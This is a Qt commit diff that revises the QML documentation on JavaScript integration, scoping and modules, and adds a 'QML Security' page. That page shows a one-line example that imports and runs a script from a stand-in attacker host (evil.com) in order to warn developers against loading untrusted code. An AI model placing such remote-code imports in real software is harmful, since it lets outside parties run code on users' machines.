summaryrefslogtreecommitdiffstats
path: root/doc
diff options
context:
space:
mode:
authorMorten Johan Sørvig <morten.sorvig@nokia.com>2010-03-25 07:42:21 (GMT)
committerMorten Johan Sørvig <morten.sorvig@nokia.com>2010-03-25 07:42:21 (GMT)
commit20779098f4eb73f8789d704e1a2818ddbbf5b4d2 (patch)
treeb1c4e3edb447ee47f9bc724f106d1bbefcff5456 /doc
parent8cc346604ed1e1504964772613ed9fe531361f69 (diff)
parent194013d9db1b3e4ba6f56a864f3b64f523202948 (diff)
downloadQt-20779098f4eb73f8789d704e1a2818ddbbf5b4d2.zip
Qt-20779098f4eb73f8789d704e1a2818ddbbf5b4d2.tar.gz
Qt-20779098f4eb73f8789d704e1a2818ddbbf5b4d2.tar.bz2
Merge remote branch 'main/4.7' into 4.7
Conflicts: demos/declarative/minehunt/minehunt.cpp src/declarative/qml/qdeclarativecompiler.cpp
Diffstat (limited to 'doc')
-rw-r--r--doc/src/declarative/animation.qdoc2
-rw-r--r--doc/src/declarative/declarativeui.qdoc3
-rw-r--r--doc/src/declarative/elements.qdoc1
-rw-r--r--doc/src/declarative/example-slideswitch.qdoc2
-rw-r--r--doc/src/declarative/javascriptblocks.qdoc176
-rw-r--r--doc/src/declarative/modules.qdoc7
-rw-r--r--doc/src/declarative/propertybinding.qdoc6
-rw-r--r--doc/src/declarative/qdeclarativereference.qdoc2
-rw-r--r--doc/src/declarative/qdeclarativesecurity.qdoc90
-rw-r--r--doc/src/declarative/qtbinding.qdoc5
-rw-r--r--doc/src/declarative/scope.qdoc454
11 files changed, 415 insertions, 333 deletions
diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc
index 7e0a787..9969e8f 100644
--- a/doc/src/declarative/animation.qdoc
+++ b/doc/src/declarative/animation.qdoc
@@ -72,7 +72,7 @@ Rectangle {
x: 60-img.width/2
y: 0
SequentialAnimation on y {
- repeat: true
+ loops: Animation.Infinite
NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 }
PauseAnimation { duration: 1000 }
NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 }
diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc
index ed63367..cc61c01 100644
--- a/doc/src/declarative/declarativeui.qdoc
+++ b/doc/src/declarative/declarativeui.qdoc
@@ -83,7 +83,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible
\list
\o \l {QML Documents}
\o \l {Property Binding}
-\o \l {JavaScript Blocks}
+\o \l {Integrating JavaScript}
\o \l {QML Scope}
\o \l {Network Transparency}
\o \l {Data Models}
@@ -102,6 +102,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible
\o \l {QML Global Object}
\o \l {Extending QML in C++}
\o \l {QML Internationalization}
+\o \l {QML Security}
\o \l {QtDeclarative Module}
\o \l {Debugging QML}
\endlist
diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc
index 75f8b97..e35d67c 100644
--- a/doc/src/declarative/elements.qdoc
+++ b/doc/src/declarative/elements.qdoc
@@ -78,7 +78,6 @@ The following table lists the QML elements provided by the Qt Declarative module
\o \l ParentAnimation
\o \l AnchorAnimation
\o \l PropertyAction
-\o \l ParentAction
\o \l ScriptAction
\o \l Transition
\o \l SpringFollow
diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc
index 42351c5..c14208e 100644
--- a/doc/src/declarative/example-slideswitch.qdoc
+++ b/doc/src/declarative/example-slideswitch.qdoc
@@ -121,7 +121,7 @@ states (\e on and \e off).
This second function is called when the knob is released and we want to make sure that the knob does not end up between states
(neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing.
-For more information on scripts see \l{qdeclarativejavascript.html}{JavaScript Blocks}.
+For more information on scripts see \l{Integrating JavaScript}.
\section2 Transition
\snippet examples/declarative/slideswitch/content/Switch.qml 7
diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc
index 98183bb..e57439f 100644
--- a/doc/src/declarative/javascriptblocks.qdoc
+++ b/doc/src/declarative/javascriptblocks.qdoc
@@ -41,95 +41,124 @@
/*!
\page qdeclarativejavascript.html
-\title JavaScript Blocks
+\title Integrating JavaScript
QML encourages building UIs declaratively, using \l {Property Binding} and the
-composition of existing \l {QML Elements}. If imperative code is required to implement
-more advanced behavior, the \l Script element can be used to add JavaScript code directly
-to a QML file, or to include an external JavaScript file.
+composition of existing \l {QML Elements}. To allow the implementation of more
+advanced behavior, QML integrates tightly with imperative JavaScript code.
-The \l Script element is a QML language \e intrinsic. It can be used anywhere in a
-QML file, \e except as the root element of a file or sub-component, but cannot be
-assigned to an object property or given an id. The included JavaScript is evaluated
-in a scope chain. The \l {QML Scope} documentation covers the specifics of scoping
-in QML.
+The JavaScript environment provided by QML is stricter than that in a webbrowser.
+In QML you cannot add, or modify, members of the JavaScript global object. It
+is possible to do this accidentally by using a variable without declaring it. In
+QML this will throw an exception, so all local variables should be explicitly
+declared.
-A restriction on the JavaScript used in QML is that you cannot add new members to the
-global object. This happens transparently when you try to use a variable without
-declaring it, and so declaring local variables is required when using Java script in
-QML.
+In addition to the standard JavaScript properties, the \l {QML Global Object}
+includes a number of helper methods that simplify building UIs and interacting
+with the QML environment.
-The global object in QML has a variety of helper functions added to it, to aid UI
-implementation. See \l{QML Global Object} for further details.
+\section1 Inline JavaScript
-Note that if you are adding a function that should be called by external elements,
-you do not need the \l Script element. See \l {Extending types from QML#Adding new methods}
-{Adding new methods} for information about adding slots that can be called externally.
-
-\section1 Inline Script
-
-Small blocks of JavaScript can be included directly inside a \l {QML Document} as
-the body of the \l Script element.
+Small JavaScript functions can be written inline with other QML declarations.
+These inline functions are added as methods to the QML element that contains
+them.
\code
-Rectangle {
- Script {
- function factorial(a) {
- a = Integer(a);
- if (a <= 0)
- return 1;
- else
- return a * factorial(a - 1);
- }
+Item {
+ function factorial(a) {
+ a = Integer(a);
+ if (a <= 0)
+ return 1;
+ else
+ return a * factorial(a - 1);
+ }
+
+ MouseRegion {
+ anchors.fill: parent
+ onClicked: print(factorial(10))
}
}
\endcode
-Good programming practice dictates that only small script snippets should be written
-inline. QML prohibits the declaration of anything other than functions in an inline
-script block. For example, the following script is illegal as an inline script block
-as it declares the non-function variable \c lastResult.
+As methods, inline functions on the root element in a QML component can be
+invoked by callers outside the component. If this is not desired, the method
+can be added to a non-root element or, preferably, written in an external
+JavaScript file.
+
+\section1 Separate JavaScript files
+
+Large blocks of JavaScript should be written in separate files. Like element
+types, external JavaScript files are \c {import}'ed into QML files.
+
+The \c {factorial()} method used in the \l {Inline JavaScript} section could
+be refactored into an external file, and accessed like this.
\code
-// Illegal inline code block
-var lastResult = 0
-function factorial(a) {
- a = Integer(a);
- if (a <= 0)
- lastResult = 1;
- else
- lastResult = a * factorial(a - 1);
- return lastResult;
+import "factorial.js" as MathFunctions
+Item {
+ MouseRegion {
+ anchors.fill: parent
+ onClicked: print(MathFunctions.factorial(10))
+ }
}
\endcode
-\section1 Including an External File
+Both relative and absolute JavaScript URLs can be imported. In the case of a
+relative URL, the location is resolved relative to the location of the
+\l {QML Document} that contains the import. If the script file is not accessible,
+an error will occur. If the JavaScript needs to be fetched from a network
+resource, the QML document will remain in the
+\l {QDeclarativeComponent::status()}{waiting state} until the script has been
+downloaded.
-To avoid cluttering the QML file, large script blocks should be in a separate file.
-The \l Script element's \c source property is used to load script from an external
-file.
+Imported JavaScript files are always qualified using the "as" keyword. The
+qualifier for JavaScript files must be unique, so there is always a one-to-one
+mapping between qualifiers and JavaScript files.
-If the previous factorial code that was illegal as an inline script block was saved
-into a "factorial.js" file, it could be included like this.
+\section2 Code-Behind Implementation Files
+
+Most JavaScript files imported into a QML file are stateful, logic implementations
+for the QML file importing them. In these cases, for QML component instances to
+behave correctly each instance requires a separate copy of the JavaScript objects
+and state.
+
+The default behavior when importing JavaScript files is to provide a unique, isolated
+copy for each QML component instance. The code runs in the same scope as the QML
+component instance and consequently can can access and manipulate the objects and
+properties declared.
+
+\section2 Stateless JavaScript libraries
+
+Some JavaScript files act more like libraries - they provide a set of stateless
+helper functions that take input and compute output, but never manipulate QML
+component instances directly.
+
+As it would be wasteful for each QML component instance to have a unique copy of
+these libraries, the JavaScript programmer can indicate a particular file is a
+stateless library through the use of a pragma, as shown in the following example.
\code
-Rectangle {
- Script {
- source: "factorial.js"
- }
+// factorial.js
+.pragma library
+
+function factorial(a) {
+ a = Integer(a);
+ if (a <= 0)
+ return 1;
+ else
+ return a * factorial(a - 1);
}
\endcode
-The \c source property may reference a relative file, or an absolute path. In the
-case of a relative file, the location is resolved relative to the location of the
-\l {QML Document} that contains the \l Script element. If the script file is not
-accessible, an error will occur. If the source is on a network resource, the
-enclosing QML document will remain in the \l {QDeclarativeComponent::status()}{waiting state}
-until the script has been retrieved.
+The pragma declaration must appear before any JavaScript code excluding comments.
+
+As they are shared, stateless library files cannot access QML component instance
+objects or properties directly, although QML values can be passed as function
+parameters.
-\section1 Running Script at Startup
+\section1 Running JavaScript at Startup
-It is occasionally necessary to run a block of JavaScript code at application (or
+It is occasionally necessary to run some imperative code at application (or
component instance) "startup". While it is tempting to just include the startup
script as \e {global code} in an external script file, this can have severe limitations
as the QML environment may not have been fully established. For example, some objects
@@ -144,10 +173,8 @@ The following QML code shows how to use the \c Component::onCompleted property.
\code
Rectangle {
- Script {
- function startupFunction() {
- // ... startup code
- }
+ function startupFunction() {
+ // ... startup code
}
Component.onCompleted: startupFunction();
@@ -155,21 +182,20 @@ Rectangle {
\endcode
Any element in a QML file - including nested elements and nested QML component
-instances - can use this attached property. If there is more than one script to
-execute at startup, they are run sequentially in an undefined order.
+instances - can use this attached property. If there is more than one onCompleted
+handler to execute at startup, they are run sequentially in an undefined order.
-\section1 QML Script Restrictions
+\section1 QML JavaScript Restrictions
-QML \l Script blocks contain standard JavaScript code. QML introduces the following
-restrictions.
+QML executes standard JavaScript code, with the following restrictions:
\list
-\o Script code cannot modify the global object.
+\o JavaScript code cannot modify the global object.
In QML, the global object is constant - existing properties cannot be modified or
deleted, and no new properties may be created.
-Most JavaScript programs do not explicitly modify the global object. However,
+Most JavaScript programs do not intentionally modify the global object. However,
JavaScript's automatic creation of undeclared variables is an implicit modification
of the global object, and is prohibited in QML.
@@ -197,7 +223,7 @@ that includes the file and line number of the offending code.
\o Global code is run in a reduced scope
-During startup, if a \l Script block includes an external file with "global"
+During startup, if a QML file includes an external JavaScript file with "global"
code, it is executed in a scope that contains only the external file itself and
the global object. That is, it will not have access to the QML objects and
properties it \l {QML Scope}{normally would}.
diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
index ab75f8d..53de32c 100644
--- a/doc/src/declarative/modules.qdoc
+++ b/doc/src/declarative/modules.qdoc
@@ -143,6 +143,13 @@ since the \e first name-version match is used.
Installed files do not need to import the module of which they are a part, as they can refer
to the other QML files in the module as relative (local) files.
+If the module is imported from a remote location, those files must nevertheless be listed in
+the \c qmldir file. Internal files can be marked with the \c internal keyword, to ensure
+they are not visible outside the module:
+
+\code
+internal <TypeName> <File>
+\endcode
Installed and remote files \e must be referred to by version information described above,
local files \e may have it.
diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
index 5d21fd1..02f9868 100644
--- a/doc/src/declarative/propertybinding.qdoc
+++ b/doc/src/declarative/propertybinding.qdoc
@@ -67,10 +67,8 @@ expression! Here are some examples of more complex bindings:
\code
Rectangle {
- Script {
- function calculateMyHeight() {
- return Math.max(otherItem.height, thirdItem.height);
- }
+ function calculateMyHeight() {
+ return Math.max(otherItem.height, thirdItem.height);
}
anchors.centerIn: parent
diff --git a/doc/src/declarative/qdeclarativereference.qdoc b/doc/src/declarative/qdeclarativereference.qdoc
index 01af7f5..b2cfba8 100644
--- a/doc/src/declarative/qdeclarativereference.qdoc
+++ b/doc/src/declarative/qdeclarativereference.qdoc
@@ -74,7 +74,7 @@
\list
\o \l {QML Documents}
\o \l {Property Binding}
- \o \l {JavaScript Blocks}
+ \o \l {Integrating JavaScript}
\o \l {QML Scope}
\o \l {Network Transparency}
\o \l {qmlmodels}{Data Models}
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
new file mode 100644
index 0000000..56216dd
--- /dev/null
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativesecurity.html
+\title QML Security
+\section1 QML Security
+
+The QML security model is that QML content is a chain of trusted content: the user
+installs QML content that they trust in the same way as they install native Qt applications,
+or programs written with runtimes such as Python and Perl. That trust is establish by any
+of a number of mechanisms, including the availability of package signing on some platforms.
+
+In order to preserve the trust of users, developers producing QML content should not execute
+arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
+
+For example, this QML content:
+
+\qml
+import "http://evil.com/evil.js" as Evil
+... Evil.doEvil() ...
+\endqml
+
+is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
+environment of QML does not try to stop any particular accesses, including local file system
+access, just as for any native Qt application, so the "doEvil" function could do the same things
+as a native Qt application, a Python application, a Perl script, ec.
+
+As with any application accessing other content beyond it's control, a QML application should
+perform appropriate checks on untrusted data it loads.
+
+A non-exhaustive list of the ways you could shoot yourself in the foot is:
+
+\list
+ \i Using \c import to import QML or JavaScropt you do not control. BAD
+ \i Using \l Loader to import QML you do not control. BAD
+ \i Using XMLHttpRequest to load data you do not control and executing it. BAD
+\endlist
+
+However, the above does not mean that you have no use for the network transparency of QML.
+There are many good and useful things you \e can do:
+
+\list
+ \i Create \l Image elements with source URLs of any online images. GOOD
+ \i Use XmlListModel to present online content. GOOD
+ \i Use XMLHttpRequest to interact with online services. GOOD
+\endlist
+
+The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
+has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
+worry about working around them.
+*/
diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc
index 66d537d..577e69a 100644
--- a/doc/src/declarative/qtbinding.qdoc
+++ b/doc/src/declarative/qtbinding.qdoc
@@ -90,9 +90,8 @@ the root context is available to all object instances.
\section1 Simple Data
To expose data to a QML component instance, applications set \l {QDeclarativeContext::setContextProperty()}
-{context properties} which are then accessible by name from QML \l {Property Binding}s and
-\l {JavaScript Blocks}. The following example shows how to expose a background color to a QML
-file.
+{context properties} which are then accessible by name from QML \l {Property Binding}s and JavaScript.
+The following example shows how to expose a background color to a QML file.
\table
\row
diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc
index 218af89..c588b45 100644
--- a/doc/src/declarative/scope.qdoc
+++ b/doc/src/declarative/scope.qdoc
@@ -39,342 +39,304 @@
**
****************************************************************************/
-/*!
-\page qdeclarativescope.html
-\title QML Scope
+/*
+
+
+
+and requires extension to
+fit naturally with QML.
-\tableofcontents
-\l {Property Binding}s and \l {JavaScript Blocks} are executed in a scope chain automatically
-established by QML when a component instance is constructed. QML is a \e {dynamically scoped}
+JavaScript has only b
+JavaScript has a very simple built in scope is very simple
+
+script, and the precede d
+
+and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain
+automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped}
language. Different object instances instantiated from the same component can exist in
different scope chains.
\image qml-scope.png
-\section1 JavaScript Variable object
-Each binding and script block has its own distinct JavaScript variable object where local
-variables are stored. That is, local variables from different bindings and script blocks never
-conflict.
+*/
-\section1 Element Type Names
+/*!
+\page qdeclarativescope.html
+\title QML Scope
-Bindings or script blocks use element type names when accessing \l {Attached Properties} or
-enumeration values. The set of available element names is defined by the import list of the
-\l {QML Documents}{QML Document} in which the the binding or script block is defined.
+\tableofcontents
-These two examples show how to access attached properties and enumeration values with different
-types of import statements.
-\table
-\row
-\o
-\code
-import Qt 4.6
+QML property bindings, inline functions and imported JavaScript files all
+run in a JavaScript scope. Scope controls which variables an expression can
+access, and which variable takes precedence when two or more names conflict.
-Text {
- id: root
- scale: root.PathView.scale
- horizontalAlignment: Text.AlignLeft
-}
-\endcode
-\o
-\code
-import Qt 4.6 as MyQt
+As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit
+more naturally with the QML language extensions.
-Text {
- id: root
- scale: root.MyQt.PathView.scale
- horizontalAlignment: MyQt.Text.AlignLeft
-}
-\endcode
-\endtable
+\section1 JavaScript Scope
-\section1 QML Local Scope
+QML's scope extensions do not interfere with JavaScript's natural scoping.
+JavaScript programmers can reuse their existing knowledge when programming
+functions, property bindings or imported JavaScript files in QML.
-Most variables references are resolved in the local scope. The local scope is controlled by the
-QML component in which the binding or script block was defined. The following example shows
-three different bindings, and the component that dictates each local scope.
+In the following example, the \c {addConstant()} method will add 13 to the
+parameter passed just as the programmer would expect irrespective of the
+value of the QML object's \c a and \c b properties.
-\table
-\row
-\o
\code
-// main.qml
-import Qt 4.6
+QtObject {
+ property int a: 3
+ property int b: 9
-Rectangle { // Local scope component for binding 1
- id: root
- property string text
-
- Button {
- text: root.text // binding 1
+ function addConstant(b) {
+ var a = 13;
+ return b + a;
}
-
- ListView {
- delegate: Component { // Local scope component for binding 2
- Rectangle {
- width: ListView.view.width // binding 2
- }
- }
- }
-
}
\endcode
-\o
-\code
-// Button.qml
-import Qt 4.6
-Rectangle { // Local scope component for binding 3
- id: root
- property string text
+That QML respects JavaScript's normal scoping rules even applies in bindings.
+This totally evil, abomination of a binding will assign 12 to the QML object's
+\c a property.
- Text {
- text: root.text // binding 3
- }
+\code
+QtObject {
+ property int a
+
+ a: { var a = 12; a; }
}
\endcode
-\endtable
-Inside the local scope, four "sub-scopes" exist. Each sub-scope is searched in order when
-resolving a name; names in higher sub-scopes shadow those in lower sub-scopes.
+Every JavaScript expression, function or file in QML has its own unique
+variable object. Local variables declared in one will never conflict
+with local variables declared in another.
-\section2 IDs
+\section1 Element Names and Imported JavaScript Files
-IDs present in the component take precendence over other names. The QML engine enforces
-uniqueness of IDs within a component, so their names cannot conflict with one another.
+\l {QML Document}s include import statements that define the element names
+and JavaScript files visible to the document. In addition to their use in the
+QML declaration itself, element names are used by JavaScript code when accessing
+\l {Attached Properties} and enumeration values.
-Here is an example of using IDs within bindings:
+The effect of an import applies to every property binding, and JavaScript
+function in the QML document, even those in nested inline components. The
+following example shows a simple QML file that accesses some enumeration
+values and calls an imported JavaScript function.
\code
-Item {
- id: root
- width: nested.width
- Item {
- id: nested
- height: root.height
- }
-}
-\endcode
-
-\section2 Script Methods
-
-Methods declared in script blocks are searched immediately after IDs. In the case of multiple
-script blocks in the one component, the blocks are searched in the order in which they were
-declared - the nesting of script blocks within a component is not significant for name
-resolution.
-
-In the following example, \c {Method 1} shadows \c {Method 2} for the bindings, but not for
-\c {Method 3}.
+import Qt 4.6
+import "code.js" as Code
-\code
-Item {
- Script {
- function getValue() { return 10; } // Method 1
- }
+ListView {
+ snapMode: ListView.SnapToItem
- Rectangle {
- Script {
- function getValue() { return 11; } // Method 2
- function getValue2() { return getValue(); } // Method 3
+ delegate: Component {
+ Text {
+ elide: Text.ElideMiddle
+ text: "A really, really long string that will require eliding."
+ color: Code.defaultColor()
}
-
- x: getValue() // Resolves to Method 1, set to 10
- y: getValue2() // Resolves to Method 3, set to 11
}
}
\endcode
-\section2 Scope Object
-
-A scope object is associated with each binding and script block. Properties and methods of the
-scope object appear in the scope chain, immediately after \l {Script Methods}.
+\section1 Binding Scope Object
-In bindings and script blocks established explicitly in \l {QML Documents}, the scope object is
-always the element containing the binding or script block. The following example shows two
-bindings, one using grouped properties, and the corresponding scope object. These two bindings
-use the scope object to resolve variable references: \c height is a property on \l Rectangle,
-and \c parent is a property on \l Text.
+Property bindings are the most common use of JavaScript in QML. Property
+bindings associate the result of a JavaScript expression with a property of an
+object. The object to which the bound property belongs is known as the binding's
+scope object. In this QML simple declaration the \l Item object is the
+binding's scope object.
\code
-Item { // Scope object for Script block 1
- Script { // Script block 1
- function calculateValue() { ... }
- }
-
- Rectangle { // Scope object for Binding 1 and Script block 2
- Script { // Script block 2
- function calculateColor() { ... }
- }
- width: height * 2 // Binding 1
- }
-
- Text { // Scope object for Binding 2
- font.pixelSize: parent.height * 0.7 // binding 2
- }
+Item {
+ anchors.left: parent.left
}
\endcode
-One notable characteristic of the scope object is its interaction with \l {Attached Properties}.
-As attached properties exist on all objects, an attached property reference that is not
-explicitly prefixed by an id will \e always resolve to the attached property on the scope
-object.
-
-In the following example, \c {Binding 1} will resolve to the attached properties of the
-\l Rectangle element, as intended. However, due to the property search of the scope object,
-\c {Binding 2} will resolve to the attached properties of the \l Text element, which
-is probably not what was intended. This code can be corrected, by replacing \c {Binding 2}
-with this explicit element reference \c {root.ListView.view.width}.
+Bindings have access to the scope object's properties without qualification.
+In the previous example, the binding accesses the \l Item's \c parent property
+directly, without needing any form of object prefix. QML introduces a more
+structured, object-oriented approach to JavaScript, and consequently does not
+require (although it does support) use of the implicit \c this property.
+
+Care must be used when accessing \l {Attached Properties} from bindings due
+to their interaction with the scope object. Conceptually attached properties
+exist on \e all objects, even if they only have an effect on a subset of those.
+Consequently unqualified attached property reads will always resolve to an
+attached property on the scope object, which is not always what the programmer
+intended.
+
+For example, the \l PathView element attaches interpolated value properties to
+its delegates depending on their position in the path. As PathView only
+meaningfully attaches these properties to the root element in the delegate, any
+sub-element that accesses them must explicitly qualify the root object, as shown
+below.
\code
-import Qt 4.6
-
-ListView {
- delegate: Rectangle {
- id: root
- width: ListView.view.width // Binding 1
- Text {
- text: contactName
- width: ListView.view.width // Binding 2
+PathView {
+ delegate: Component {
+ Rectangle {
+ id: root
+ Image {
+ scale: root.PathView.scale
+ }
}
}
}
\endcode
-\e TODO
-
-\list
-\o scope object for PropertyChanges
-\endlist
+If the \l Image element omitted the \c root prefix, it would inadvertantly access
+the unset \c {PathView.scale} attached property on itself.
-\section2 Root Object
+\section1 Component Scope
-Properties and methods on the local scope component's root object appear in the scope chain
-immediately after the \l {Scope Object}. If the scope object and root object are the same,
-this step has no effect.
-
-This example uses the root object to easily propagate data throughout the component.
+Each QML component in a QML document defines a logical scope. Each document
+has at least one root component, but can also have other inline sub-components.
+The component scope is the union of the object ids within the component and the
+component's root element's properties.
\code
Item {
- property string description
- property int fontSize
+ property string title
Text {
- text: description
- font.pixelSize: fontSize
+ id: titleElement
+ text: "<b>" + title + "</b>"
+ font.pixelSize: 22
+ anchors.top: parent.top
+ }
+
+ Text {
+ text: titleElement.text
+ font.pixelSize: 18
+ anchors.bottom: parent.bottom
}
}
\endcode
-\section1 QML Component chain
+The example above shows a simple QML component that displays a rich text title
+string at the top, and a smaller copy of the same text at the bottom. The first
+\c Text element directly accesses the component's \c title property when
+forming the text to display. That the root element's properties are directly
+accessible makes it trivial to distribute data throughout the component.
-When a QML component is instantiated it is given a parent component instance. The parent
-component instance is immutable - it is not affected, for example, by changes in the instance's
-visual parent (in the case of visual elements). Should name resolution fail within the
-\l {QML Local Scope}, this parent chain is searched.
+The second \c Text element uses an id to access the first's text directly. IDs
+are specified explicitly by the QML programmer so they always take precedence
+over other property names (except for those in the \l {JavaScript Scope}). For
+example, in the unlikely event that the binding's \l {Binding Scope Object}{scope
+object} had a \c titleElement property in the previous example, the \c titleElement
+id would still take precedence.
-For each component instance in the chain, the following are examined:
+\section1 Component Instance Hierarchy
-\list 1
-\o IDs
-\o Script Methods
-\o Root Object
-\endlist
+In QML, component instances connect their component scopes together to form a
+scope hierarchy. Component instances can directly access the component scopes of
+their ancestors.
-This list is a sub-set of that in the \l {QML Local Scope}.
+The easiest way to demonstrate this is with inline sub-components whose component
+scopes are implicitly scoped as children of the outer component.
-A sub-component's parent component instance is set to the component that created it.
-In the following example, the two \c Button instances have the
-\c main.qml instance as their parent component instance. If the \c Button type was used from
-within another QML file, it may have a difference parent component instance, and consequently
-the \c buttonClicked() method may resolve differently.
-
-\table
-\row
-\o
\code
-// main.qml
Item {
- function buttonClicked(var data) {
- print(data + " clicked");
- }
+ property color defaultColor: "blue"
- Button { text: "Button1" }
- Button { text: "Button2" }
-}
-\endcode
-\o
-\code
-// Button.qml
-Rectangle {
- id: root
- property string text
- width: 80
- height: 30
- Text {
- anchors.centerIn: parent
- text: root.text
- }
- MouseArea {
- anchors.fill: parent
- onClicked: buttonClicked(text)
+ ListView {
+ delegate: Component {
+ Rectangle {
+ color: defaultColor
+ }
+ }
}
}
\endcode
-\endtable
-The code above discourages the re-use of the \c Button component, as it has a hard dependency
-on the environment in which it is used. Tightly coupling two types together like this should
-only be used when the components are within the same module, and the author controls the
-implementations of both.
+The component instance hierarchy allows instances of the delegate component
+to access the \c defaultColor property of the \c Item element. Of course,
+had the delegate component had a property called \c defaultColor that would
+have taken precedence.
-In the following example, the \l ListView sets the parent component instance of each of its
-delegates to its own component instance. In this way, the main component can easily pass data
-into the \l ListView delegates.
+The component instance scope hierarchy extends to out-of-line components, too.
+In the following example, the \c TitlePage.qml component creates two
+\c TitleText instances. Even though the \c TitleText element is in a separate
+file, it still has access to the \c title property when it is used from within
+the \c TitlePage. QML is a dynamically scoped language - depending on where it
+is used, the \c title property may resolve differently.
\code
+// TitlePage.qml
+import Qt 4.6
Item {
- property color delegateColor: "red"
+ property string title
+
+ TitleText {
+ size: 22
+ anchors.top: parent.top
+ }
- ListView {
- delegate: Component {
- Rectangle {
- color: delegateColor
- }
- }
+ TitleText {
+ size: 18
+ anchors.bottom: parent.bottom
}
}
-\endcode
-\section1 QDeclarativeContext chain
-
-The \l QDeclarativeContext chain allows C++ applications to pass data into QML applications.
-\l QDeclarativeComponent object instances created from C++ are passed a \l QDeclarativeContext in which they
-are created. Variables defined in this context appear in the scope chain. Each QDeclarativeContext
-also defines a parent context. Variables in child QDeclarativeContext's shadow those in its parent.
+// TitleText.qml
+import Qt 4.6
+Text {
+ property int size
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
+}
+\endcode
-Consider the following QDeclarativeContext tree.
+Dynamic scoping is very powerful, but it must be used cautiously to prevent
+the behavior of QML code from becoming difficult to predict. In general it
+should only be used in cases where the two components are already tightly
+coupled in another way. When building reusable components, it is preferable
+to use property interfaces, like this:
-\image qml-context-tree.png
+\code
+// TitlePage.qml
+import Qt 4.6
+Item {
+ id: root
+ property string title
+
+ TitleText {
+ title: root.title
+ size: 22
+ anchors.top: parent.top
+ }
-The value of \c background in \c {Context 1} would be used if it was instantiated in
-\c {Context 1}, where as the value of the \c background in the root context would be used if
-the component instance was instantiated in \c {Context 2}.
+ TitleText {
+ title: root.title
+ size: 18
+ anchors.bottom: parent.bottom
+ }
+}
-\code
+// TitleText.qml
import Qt 4.6
+Text {
+ property string title
+ property int size
-Rectangle {
- id: myRect
- width: 100; height: 100
- color: background
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
}
\endcode
-\section1 QML Global Object
+\section1 JavaScript Global Object
+
+In addition to all the properties that a developer would normally expect on
+the JavaScript global object, QML adds some custom extensions to make UI or
+QML specific tasks a little easier. These extensions are described in the
+\l {QML Global Object} documentation.
+
+QML disallows element, id and property names that conflict with the properties
+on the global object to prevent any confusion. Programmers can be confident
+that \c Math.min(10, 9) will always work as expected!
-The \l {QML Global Object} contains all the properties of the JavaScript global object, plus some
-QML specific extensions.
*/